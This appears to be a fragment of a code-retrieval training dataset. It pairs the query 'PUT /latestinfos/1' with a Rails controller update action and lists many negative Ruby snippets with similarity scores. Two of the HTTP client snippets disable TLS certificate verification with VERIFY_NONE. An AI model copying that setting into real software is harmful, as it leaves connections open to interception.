"def create\n @information = Information.new(information_params)\n\n if @information.save\n render json: :ok\n else\n render json: @information.errors, status: :unprocessable_entity\n end\n end",
"def new\n @notification = Notification.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @notification }\n end\n end",
"def new\n @traffic = Traffic.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @traffic }\n end\n end",
"def new\n @fileversion = Fileversion.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @fileversion }\n end\n end",
"def new\n @entity_datum = EntityDatum.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @entity_datum }\n end\n end",
"def create_infos(infos)\n # info Create\n infos.each do |record|\n \n # Start\n info = info.new\n \n #Add data\n info.name = record[:info_name]\n info.short_name = record[:short_name]\n info.industry_id = lookup_industry_id(record[:industry]) # format: 4e9fab7aa6c2321681000026 / lookup_industry_id(industry_name)\n info.active = true \n \n # Save it!\n if info.valid?\n info.save!\n puts \"The info #{record[:info_name]} has been added to the database.\" \n else\n puts \"Errors found with info: #{record[:info_name]}\"\n puts \"ERRORS: #{info.errors.full_messages}\"\n end\n \n puts \"---------------------------------------------------------------\"\n end\n puts \"DONE!\"\n end",
"def new_rest\n @item_usage = ItemUsage.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @item_usage }\n end\n end",
"def new\n @estatu = Estatu.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @estatu }\n end\n end",
"def new\n @newz = Newz.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @newz }\n end\n end",
"def new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => new_vurl }\n end\n end",
"def new\n @viewdate = Viewdate.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @viewdate }\n end\n end"
] |
[
"0.6772774",
"0.617886",
"0.57906073",
"0.57906073",
"0.5735705",
"0.5639365",
"0.56341606",
"0.55369216",
"0.54622775",
"0.54431456",
"0.53927386",
"0.53809893",
"0.5368499",
"0.53065395",
"0.53065085",
"0.5302676",
"0.52939165",
"0.5278253",
"0.5275522",
"0.5275522",
"0.5262251",
"0.52485543",
"0.5203659",
"0.5194269",
"0.517934",
"0.51598996",
"0.5155901",
"0.51458985",
"0.51454914",
"0.51341265",
"0.512262",
"0.51207095",
"0.5120113",
"0.51175183",
"0.5105647",
"0.50930554",
"0.50921965",
"0.50867456",
"0.5085983",
"0.50799656",
"0.5077948",
"0.50763077",
"0.50763077",
"0.50712496",
"0.5066621",
"0.5066621",
"0.5066621",
"0.5060917",
"0.5057931",
"0.5055052",
"0.5054335",
"0.50512266",
"0.50417525",
"0.50389445",
"0.5033663",
"0.5027912",
"0.5027136",
"0.5025037",
"0.5024544",
"0.501227",
"0.5007412",
"0.5003128",
"0.5002",
"0.4998949",
"0.49927148",
"0.4990691",
"0.4990224",
"0.4977189",
"0.49733365",
"0.49631038",
"0.4960873",
"0.49536073",
"0.49508655",
"0.49498352",
"0.49484614",
"0.49450734",
"0.49390402",
"0.49381182",
"0.49378195",
"0.49358237",
"0.4935628",
"0.49318767",
"0.4927281",
"0.4922547",
"0.4919756",
"0.49144867",
"0.49098298",
"0.49091667",
"0.49061003",
"0.49056116",
"0.49047533",
"0.49047515",
"0.4903955",
"0.49019563",
"0.48931322",
"0.4884656",
"0.48835292",
"0.48825294",
"0.48819765",
"0.48800457"
] |
0.69169295
|
0
|
PUT /latestinfos/1 PUT /latestinfos/1.xml
|
def update
@latestinfo = Latestinfo.find(params[:id])
respond_to do |format|
if @latestinfo.update_attributes(params[:latestinfo])
flash[:notice] = 'Latestinfo was successfully updated.'
format.html { redirect_to(@latestinfo) }
format.xml { head :ok }
else
format.html { render :action => "edit" }
format.xml { render :xml => @latestinfo.errors, :status => :unprocessable_entity }
end
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def update opts = {}\n opts[:headers] ||= {}\n opts[:headers]['Content-Type'] ||= 'text/xml'\n post 'update', opts\n end",
"def create\n @latestinfo = Latestinfo.new(params[:latestinfo])\n\n respond_to do |format|\n if @latestinfo.save\n flash[:notice] = 'Latestinfo was successfully created.'\n format.html { redirect_to(@latestinfo) }\n format.xml { render :xml => @latestinfo, :status => :created, :location => @latestinfo }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @latestinfo.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def new\n @latestinfo = Latestinfo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @latestinfo }\n end\n end",
"def update\n @info = Info.find(params[:id])\n\n respond_to do |format|\n if @info.update_attributes(params[:info])\n format.html { redirect_to(@info, :notice => 'Info was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @info.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @info = Info.find(params[:id])\n\n respond_to do |format|\n if @info.update_attributes(params[:info])\n flash[:notice] = 'News was successfully updated.'\n format.html { redirect_to([:admin, @info]) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @info.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def show\n @latestinfo = Latestinfo.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @latestinfo }\n end\n end",
"def index\n @latestinfos = Latestinfo.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @latestinfos }\n end\n end",
"def update!(params)\n res = @client.put(path, nil, params, \"Content-Type\" => \"application/json\")\n @attributes = res.json if res.status == 201\n res\n end",
"def update(id, name=\"Updated Name\", age=\"55\")\r\n xml_req =\r\n \"<?xml version='1.0' encoding='UTF-8'?>\r\n <person>\r\n <id type='integer'>#{id}</id>\r\n <name>#{name}</name>\r\n <age>#{age}</age> \r\n </person>\"\r\n request = Net::HTTP::Put.new(\"#{@url}/#{id}.xml\")\r\n request.add_field \"Content-Type\", \"application/xml\"\r\n request.body = xml_req\r\n http = Net::HTTP.new(@uri.host, @uri.port)\r\n response = http.request(request)\r\n # no response body will be returned\r\n case response\r\n when Net::HTTPSuccess\r\n return \"#{response.code} OK\"\r\n else\r\n return \"#{response.code} ERROR\"\r\n end\r\n end",
"def destroy\n @latestinfo = Latestinfo.find(params[:id])\n @latestinfo.destroy\n\n respond_to do |format|\n format.html { redirect_to(latestinfos_url) }\n format.xml { head :ok }\n end\n end",
"def update\n head :ok\n end",
"def update(id, name= \"Updated Name\")\n xml_req =\n \"<?xml version='1.0' encoding='UTF-8'?>\n <customer>\n <id type='integer'>#{id}</id>\n <name>#{name}</name>\n </customer>\"\n\n request = Net::HTTP::Put.new(\"#{@url}/#{id}.xml\")\n request.add_field \"Content-Type\", \"application/xml\"\n request.body = xml_req\n\n http = Net::HTTP.new(@uri.host, @uri.port)\n response = http.request(request)\n\n # no response body will be returned\n case response\n when Net::HTTPSuccess\n return \"#{response.code} OK\"\n else\n return \"#{response.code} ERROR\"\n end\n end",
"def rest_update(uri, method: Net::HTTP::Put)\n request = Net::HTTP::Get.new uri\n request.add_field(\"Accept\",\"application/xml\")\n auth_admin(request)\n \n Net::HTTP.start(uri.host, uri.port) do |http|\n response = http.request request\n response.value\n\n doc = REXML::Document.new response.body\n \n doc = strip_class_attributes(yield doc)\n \n request2 = method.new uri\n request2.content_type = 'application/xml'\n auth_admin(request2)\n\n request2.body=doc.to_s\n \n response2 = http.request request2\n response.value\n\n end\n \nend",
"def update_metadata(params)\n @client.put(metadata_path, nil, params, \"Content-Type\" => \"application/json\")\n end",
"def update\n respond_to do |format|\n if @info.update(info_params)\n format.html { redirect_to infos_path, notice: 'Info was successfully updated.' }\n format.json { render :show, status: :ok, location: @info }\n else\n format.html { render :edit }\n format.json { render json: @info.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @info.update(info_params)\n format.html { redirect_to @info, notice: 'Info was successfully updated.' }\n format.json { render :show, status: :ok, location: @info }\n else\n format.html { render :edit }\n format.json { render json: @info.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @info.update(info_params)\n format.html { redirect_to @info, notice: 'Info was successfully updated.' }\n format.json { render :show, status: :ok, location: @info }\n else\n format.html { render :edit }\n format.json { render json: @info.errors, status: :unprocessable_entity }\n end\n end\n end",
"def put(uri, xml)\r\n req = Net::HTTP::Put.new(uri)\r\n req[\"content-type\"] = \"application/xml\"\r\n req.body = xml\r\n request(req)\r\n end",
"def update(url, data)\n RestClient.put url, data, :content_type => :json\nend",
"def update\n @reqinfo = Reqinfo.find(params[:id])\n\n respond_to do |format|\n if @reqinfo.update_attributes(params[:reqinfo])\n flash[:notice] = 'Reqinfo was successfully updated.'\n format.html { redirect_to(@reqinfo) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @reqinfo.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n enforce_permissions!('update', params[:id])\n\n param = params[:xml].presence || params[:metadata_file].presence\n\n if param\n xml_ds = XmlDatastream.new\n xml_ds.load_xml(param)\n else\n flash[:notice] = t('dri.flash.notice.specify_valid_file')\n redirect_to controller: 'catalog', action: 'show', id: params[:id]\n return\n end\n\n @object = retrieve_object!(params[:id])\n @errors = nil\n\n unless can? :update, @object\n raise Hydra::AccessDenied.new(t('dri.flash.alert.edit_permission'), :edit, '')\n end\n\n @object.update_metadata xml_ds.xml\n if @object.valid?\n checksum_metadata(@object)\n warn_if_has_duplicates(@object)\n\n begin\n raise DRI::Exceptions::InternalError unless @object.attached_files[:descMetadata].save\n rescue RuntimeError => e\n logger.error \"Could not save descMetadata for object #{@object.id}: #{e.message}\"\n raise DRI::Exceptions::InternalError\n end\n\n begin\n raise DRI::Exceptions::InternalError unless @object.save\n\n version_and_record_committer(@object, current_user)\n flash[:notice] = t('dri.flash.notice.metadata_updated')\n rescue RuntimeError => e\n logger.error \"Could not save object #{@object.id}: #{e.message}\"\n raise DRI::Exceptions::InternalError\n end\n else\n flash[:alert] = t('dri.flash.alert.invalid_object', error: @object.errors.full_messages.inspect)\n @errors = @object.errors.full_messages.inspect\n end\n\n @object.object_version ||= '1'\n @object.increment_version\n\n begin\n raise DRI::Exceptions::InternalError unless @object.save\n\n # Do the preservation actions\n preservation = Preservation::Preservator.new(@object)\n preservation.preserve(false, false, ['descMetadata','properties'])\n\n version_and_record_committer(@object, current_user)\n flash[:notice] = t('dri.flash.notice.metadata_updated')\n rescue RuntimeError => e\n logger.error \"Could not save object #{@object.id}: #{e.message}\"\n raise DRI::Exceptions::InternalError\n end\n\n respond_to do |format|\n format.html { redirect_to controller: 'my_collections', action: 'show', id: params[:id] }\n format.json { render json: @object }\n format.text do\n response = if @errors\n t('dri.flash.alert.invalid_object', error: @errors)\n else\n t('dri.flash.notice.metadata_updated')\n end\n\n render text: response\n end\n end\n end",
"def update\n @nano = Nano.find(params[:id])\n\n respond_to do |format|\n if @nano.update_attributes(params[:nano])\n flash[:notice] = 'Nano was successfully updated.'\n format.html { redirect_to nano_url(@nano) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @nano.errors.to_xml }\n end\n end\n end",
"def update_rest\n @instrument_version = InstrumentVersion.find(params[:id])\n\n respond_to do |format|\n if @instrument_version.update_attributes(params[:instrument_version])\n flash[:notice] = 'InstrumentVersion was successfully updated.'\n format.html { redirect_to(@instrument_version) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @instrument_version.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @info.update(info_params)\n format.html { redirect_to infos_path, notice: 'Info was successfully updated.' }\n format.json { render \"pages/info\", status: :ok, location: @info }\n else\n format.html { render :edit }\n format.json { render json: @info.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n doc = Nokogiri::XML(request.body.read)\n bNode = doc.xpath('elwak/benutzer')\n\n @benutzer = Benutzer.find(params[:id])\n \n #Sicherstellen, dass Benutzer synchronisiert wird auch wenn nur Objekt-Zuordnungen anders sind!\n @benutzer.updated_at = DateTime.now \n\n if bNode.xpath('objekt_zuordnungs').length > 0\n @benutzer.setze_objekt_zuordnungen(bNode.xpath('objekt_zuordnungs/objekt_id').map{|oz| oz.text.to_s.to_i})\n end\n if @benutzer.update(benutzer_params(bNode))\n success(nil)\n else\n error(@benutzer.errors)\n end\n end",
"def update\n @file_info = FileInfo.find(params[:id])\n\n respond_to do |format|\n if @file_info.update_attributes(params[:file_info])\n format.html { redirect_to @file_info, notice: 'File info was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @file_info.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @news_latest.update(news_latest_params)\n format.html { redirect_to action: \"index\", notice: 'News latest was successfully updated.' }\n format.json { render :show, status: :ok, location: @news_latest }\n else\n format.html { render :edit }\n format.json { render json: @news_latest.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n doc = Nokogiri::XML(request.body.read)\n cvNode = doc.xpath('elwak/checklisten_vorlage')\n\n update_params = {inaktiv: cvNode.xpath('inaktiv').text.to_s.to_bool}\n respond_to do |format|\n if @checklisten_vorlage.update(update_params)\n format.xml {render :xml => '<?xml version=\"1.0\" encoding=\"UTF-8\"?><success />'}\n else\n format.xml {render :xml => '<?xml version=\"1.0\" encoding=\"UTF-8\"?><error />'}\n end\n end\n end",
"def update_aos_version(args = {}) \n id = args['id']\n temp_path = \"/aosversions.json/{aosVersionId}\"\n path = temp_path\nargs.keys.each do |key|\n if (key == \"aosversionId\")\n args.delete(key)\n path = temp_path.gsub(\"{#{key}}\", id)\n end\nend\n puts \" PATH : #{path}\"\n put(path, args)\nend",
"def test_put\n header 'Content-Type', 'application/json'\n\n data = File.read 'sample-traces/0.json'\n post('/traces', data, 'CONTENT_TYPE': 'application/json')\n\n contents = last_response.body\n contents_id = contents['_id']\n\n data = File.read 'sample-traces/1.json'\n put(\"/traces/#{contents_id}\", data, 'CONTENT_TYPE': 'application/json')\n contents = last_response.body\n\n assert_equal contents_id, contents['_id']\n end",
"def update\n official = Official.find(params[:id])\n if official.update(official_params)\n render json: official, status: 200, location: [:api, official]\n else\n failed_to_update(official, \"official\")\n end\n end",
"def test_should_update_link_via_API_XML\r\n get \"/logout\"\r\n put \"/links/1.xml\", :link => {:user_id => 1,\r\n :title => 'API Link 1',\r\n :url => 'http://www.api.com'}\r\n assert_response 401\r\n end",
"def update\n put :update\n end",
"def test_putpoi_update_valid\n nd = create(:node)\n cs_id = nd.changeset.id\n user = nd.changeset.user\n amf_content \"putpoi\", \"/1\", [\"#{user.email}:test\", cs_id, nd.version, nd.id, nd.lon, nd.lat, nd.tags, nd.visible]\n post :amf_write\n assert_response :success\n amf_parse_response\n result = amf_result(\"/1\")\n\n assert_equal 5, result.size\n assert_equal 0, result[0]\n assert_equal \"\", result[1]\n assert_equal nd.id, result[2]\n assert_equal nd.id, result[3]\n assert_equal nd.version + 1, result[4]\n\n # Now try to update again, with a different lat/lon, using the updated version number\n lat = nd.lat + 0.1\n lon = nd.lon - 0.1\n amf_content \"putpoi\", \"/2\", [\"#{user.email}:test\", cs_id, nd.version + 1, nd.id, lon, lat, nd.tags, nd.visible]\n post :amf_write\n assert_response :success\n amf_parse_response\n result = amf_result(\"/2\")\n\n assert_equal 5, result.size\n assert_equal 0, result[0]\n assert_equal \"\", result[1]\n assert_equal nd.id, result[2]\n assert_equal nd.id, result[3]\n assert_equal nd.version + 2, result[4]\n end",
"def test_put_expenses_1_xml\n @parameters = {:expense => {:description => 'NewDescription'}}\n if ActiveRecord::VERSION::MAJOR < 4\n Redmine::ApiTest::Base.should_allow_api_authentication(:put,\n '/expenses/1.xml',\n {:expense => {:description => 'NewDescription'}},\n {:success_code => :ok})\n end\n\n assert_no_difference('Expense.count') do\n put '/expenses/1.xml', @parameters, credentials('admin')\n end\n\n expense = Expense.find(1)\n assert_equal \"NewDescription\", expense.description\n end",
"def update\n @atom = Atom.find(params[:id])\n\n respond_to do |format|\n if @atom.update_attributes(params[:atom])\n flash[:notice] = 'Atom was successfully updated.'\n format.html { redirect_to(@atom) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @atom.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @nossos_servico = NossosServico.find(params[:id])\n\n respond_to do |format|\n if @nossos_servico.update_attributes(params[:nossos_servico])\n format.html { redirect_to(@nossos_servico, :notice => 'Nossos servico was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @nossos_servico.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def new\n @news_update = NewsUpdate.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @news_update }\n end\n end",
"def test_should_update_project_via_API_XML\r\n get \"/logout\"\r\n put \"/projects/1.xml\", :project => {:user_id => 1,\r\n :url => 'http://www.apiproject.com',\r\n :name => 'API Project',\r\n :description => 'API Project Desc' }\r\n assert_response 401\r\n end",
"def update_rest\n @item_usage = ItemUsage.find(params[:id])\n\n respond_to do |format|\n if @item_usage.update_attributes(params[:item_usage])\n flash[:notice] = 'ItemUsage was successfully updated.'\n format.html { redirect_to(@item_usage) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @item_usage.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @img_info = ImgInfo.find(params[:id])\n\n respond_to do |format|\n if @img_info.update_attributes(params[:img_info])\n flash[:notice] = 'ImgInfo was successfully updated.'\n format.html { redirect_to(@img_info) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @img_info.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def set_api_v1_recent\n @api_v1_recent = Api::V1::Recent.find(params[:id])\n end",
"def update\n @url_info = UrlInfo.find(params[:id])\n\n respond_to do |format|\n if @url_info.update_attributes(params[:url_info])\n flash[:notice] = 'UrlInfo was successfully updated.'\n format.html { redirect_to(@url_info) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @url_info.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @newsinfo.update(newsinfo_params)\n format.html { redirect_to @newsinfo, notice: 'Newsinfo was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @newsinfo.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n fn = params[:id].gsub('DOTDOT','.').gsub('SLASHSLASH','/')\n File.open(fn,'w+') { |f| \n f.puts params[:content]\n }\n respond_to do |format|\n format.json { render json: { success: true} }\n end\n end",
"def update!(**args)\n @info = args[:info] if args.key?(:info)\n end",
"def update_rest\n @entry_item = EntryItem.find(params[:id])\n\n respond_to do |format|\n if @entry_item.update_attributes(params[:entry_item])\n flash[:notice] = 'EntryItem was successfully updated.'\n #format.html { redirect_to(@entry_item) }\n format.xml { head :ok }\n else\n #format.html { render :action => \"edit\" }\n format.xml { render :xml => @entry_item.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def UpdateView params = {}\n \n APICall(path: 'views.json',method: 'PUT',payload: params.to_json)\n \n end",
"def update_rest\n @page_usage_event = PageUsageEvent.find(params[:id])\n\n respond_to do |format|\n if @page_usage_event.update_attributes(params[:page_usage_event])\n flash[:notice] = 'PageUsageEvent was successfully updated.'\n format.html { redirect_to(@page_usage_event) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @page_usage_event.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def new\n @info = Info.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @info }\n end\n end",
"def new\n @info = Info.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @info }\n end\n end",
"def update\n @objects_info = ObjectsInfo.find(params[:id])\n\n respond_to do |format|\n if @objects_info.update_attributes(params[:objects_info])\n format.html { redirect_to @objects_info, notice: 'Objects info was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @objects_info.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n name = Server.find(params[:id]).name\n n = Neography::Node.find('servers', 'name', name)\n n.name = server_params[:name]\n n.add_to_index('servers', 'name', server_params[:name]) #TODO: is this necessary?\n if @server.update(server_params)\n format.html { redirect_to @server, notice: 'Server was successfully updated.' }\n format.json { render :show, status: :ok, location: @server }\n else\n format.html { render :edit }\n format.json { render json: @server.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @estagio = Estagio.find(params[:id])\n\n respond_to do |format|\n if @estagio.update_attributes(params[:estagio])\n flash[:notice] = 'Estagio was successfully updated.'\n format.html { redirect_to(@estagio) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @estagio.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def test_put_invoices_1_xml\n @parameters = {:invoice => {:number => 'NewNumber'}}\n \n Redmine::ApiTest::Base.should_allow_api_authentication(:put,\n '/invoices/1.xml',\n {:invoice => {:number => 'NewNumber'}},\n {:success_code => :ok})\n \n assert_no_difference('Invoice.count') do\n put '/invoices/1.xml', @parameters, credentials('admin')\n end\n \n invoice = Invoice.find(1)\n assert_equal \"NewNumber\", invoice.number\n \n end",
"def update\n @server_info = ServerInfo.find(params[:id])\n\n respond_to do |format|\n if @server_info.update_attributes(params[:server_info])\n format.html { redirect_to @server_info, notice: 'Server info was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @server_info.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @file_info.update(file_info_params)\n format.html { redirect_to @file_info, notice: 'File info was successfully updated.' }\n format.json { render :show, status: :ok, location: @file_info }\n else\n format.html { render :edit }\n format.json { render json: @file_info.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @rssnew = Rssnews.find(params[:id])\n\n respond_to do |format|\n if @rssnew.update_attributes(params[:rssnew])\n flash[:notice] = 'Rssnew was successfully updated.'\n format.html { redirect_to(@rssnew) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @rssnew.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @notifier.update_attributes(params[:notifier])\n format.html { redirect_to(@notifier, :notice => 'Kennisgever is succesvol aangepast.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @notifier.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @news = News.find(params[:id])\n\n respond_to do |format|\n if @news.update_attributes(params[:news])\n format.html { redirect_to(@news, :notice => 'News was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @news.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @news = News.find(params[:id])\n\n respond_to do |format|\n if @news.update_attributes(params[:news])\n format.html { redirect_to(@news, :notice => 'News was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @news.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @news = News.find(params[:id])\n\n respond_to do |format|\n if @news.update_attributes(params[:news])\n format.html { redirect_to(@news, :notice => 'News was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @news.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @news = News.find(params[:id])\n\n respond_to do |format|\n if @news.update_attributes(params[:news])\n format.html { redirect_to(@news, :notice => 'News was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @news.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update_info(uid, info)\n files_collection.update_one({filename: uid}, {\"$set\" => {metadata: info}})\n end",
"def update\n if @information.update(information_params)\n render json: :ok\n else\n render json: @information.errors, status: :unprocessable_entity\n end\n end",
"def update\n @informations = Information.order('created_at desc')\n respond_to do |format|\n if @information.update(information_params)\n format.html { redirect_to kegiatan_path, notice: 'Information was successfully updated.' }\n format.json { render :show, status: :ok, location: @information }\n else\n format.html { render :edit }\n format.json { render json: @information.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @populate_feed_info = PopulateFeedInfo.find(params[:id])\n\n respond_to do |format|\n if @populate_feed_info.update_attributes(params[:populate_feed_info])\n format.html { redirect_to(@populate_feed_info, :notice => 'PopulateFeedInfo was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @populate_feed_info.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def set_api_v1_news\n @api_v1_news = News.find(params[:id])\n end",
"def save\n @client.patch(@endpoint, :content=>@changed)\n return nil\n end",
"def infos_update\n device_uid = @device.uid\n device_info_post = params.except(:controller, :action, :uid, :tk)\n\n device_info_post.each do |key, value|\n device_info = DeviceInfo.where(device_uid: device_uid, stat_name: key).take\n if (!device_info.nil?)\n device_info.value = value\n device_info.last_update_at = Time.now.to_formatted_s(:db)\n device_info.save()\n else\n device_info = DeviceInfo.new\n device_info.device_uid = device_uid\n device_info.stat_name = key\n device_info.value = value\n device_info.last_update_at = Time.now.to_formatted_s(:db)\n device_info.save()\n end\n end\n\n render plain: ActiveSupport::JSON.encode({ res: :ok })\n end",
"def create\n @info = Info.new(params[:info])\n\n respond_to do |format|\n if @info.save\n flash[:notice] = 'News was successfully created.'\n format.html { redirect_to([:admin, @info]) }\n format.xml { render :xml => @info, :status => :created, :location => @info }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @info.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update_volumes(username, token, workset_name, volume_ids)\n\n #<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"yes\"?>\n #<volumes xmlns=\"http://registry.htrc.i3.illinois.edu/entities/workset\">\n # <volume>\n # <id>9999999</id>\n # </volume>\n # <volume>\n # <id>3333333</id>\n # </volume>\n # </volumes>\n volumes_xml =\n \"<?xml version=\\\"1.0\\\" encoding=\\\"UTF-8\\\" standalone=\\\"yes\\\"?>\" +\n \"<volumes xmlns=\\\"http://registry.htrc.i3.illinois.edu/entities/workset\\\">\";\n\n for id in volume_ids\n volumes_xml += \"<volume><id>#{id}</id></volume>\"\n end\n volumes_xml += \"</volumes>\"\n\n\n # curl -v --data @new_volumes.xml -X PUT \\\n # -H \"Content-Type: application/vnd.htrc-volume+xml\" \\\n # -H \"Accept: application/vnd.htrc-volume+xml\" \\\n # http://localhost:9763/ExtensionAPI-0.1.0/services/worksets/workset1/volumes?user=fred\n\n url = URI.parse(\"#{APP_CONFIG['registry_url']}/worksets/#{workset_name}/volumes\")\n http = Net::HTTP.new(url.host, url.port)\n if Rails.env.development?\n http.set_debug_output($stdout)\n end\n http.use_ssl = true\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE\n\n request = Net::HTTP::Put.new(url.request_uri)\n request[\"Content-Type\"] = \"application/vnd.htrc-volume+xml\"\n request.add_field(\"Authorization\", \"Bearer #{token}\")\n\n request.body = volumes_xml\n response = http.request(request)\n\n #xml = response.body\n\n case response\n when Net::HTTPUnauthorized then\n raise Exceptions::SessionExpiredError.new(\"Session expired. Please login again\")\n when Net::HTTPSuccess then\n # Do nothing\n else\n raise Exceptions::SystemError.new(\"Error retrieving worksets (HTTP #{response.code})\")\n end\n\n end",
"def update\n\n end",
"def update_info(uid, info)\n object(\"#{uid}.info\").put(body: info.to_json)\n end",
"def create_update_volumes(username, token, workset_name, volume_ids)\n\n #<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"yes\"?>\n #<volumes xmlns=\"http://registry.htrc.i3.illinois.edu/entities/workset\">\n # <volume>\n # <id>9999999</id>\n # </volume>\n # <volume>\n # <id>3333333</id>\n # </volume>\n # </volumes>\n volumes_xml =\n \"<?xml version=\\\"1.0\\\" encoding=\\\"UTF-8\\\" standalone=\\\"yes\\\"?>\" +\n \"<volumes xmlns=\\\"http://registry.htrc.i3.illinois.edu/entities/workset\\\">\";\n\n for id in volume_ids\n volumes_xml += \"<volume><id>#{id}</id></volume>\"\n end\n volumes_xml += \"</volumes>\"\n\n\n # curl -v --data @new_volumes.xml -X PUT \\\n # -H \"Content-Type: application/vnd.htrc-volume+xml\" \\\n # -H \"Accept: application/vnd.htrc-volume+xml\" \\\n # http://localhost:9763/ExtensionAPI-0.1.0/services/worksets/workset1/volumes?user=fred\n\n url = URI.parse(\"#{APP_CONFIG['registry_url']}/worksets/#{workset_name}\")\n http = Net::HTTP.new(url.host, url.port)\n if Rails.env.development?\n http.set_debug_output($stdout)\n end\n http.use_ssl = true\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE\n\n request = Net::HTTP::Put.new(url.path)\n request[\"Content-Type\"] = \"application/vnd.htrc-volume+xml\"\n request.add_field(\"Authorization\", \"Bearer #{token}\")\n\n request.body = volumes_xml\n response = http.request(request)\n\n #xml = response.body\n\n case response\n when Net::HTTPUnauthorized then\n raise Exceptions::SessionExpiredError.new(\"Session expired. Please login again\")\n when Net::HTTPSuccess then\n # Do nothing\n else\n raise Exceptions::SystemError.new(\"Error retrieving worksets (HTTP #{response.code})\")\n end\n end",
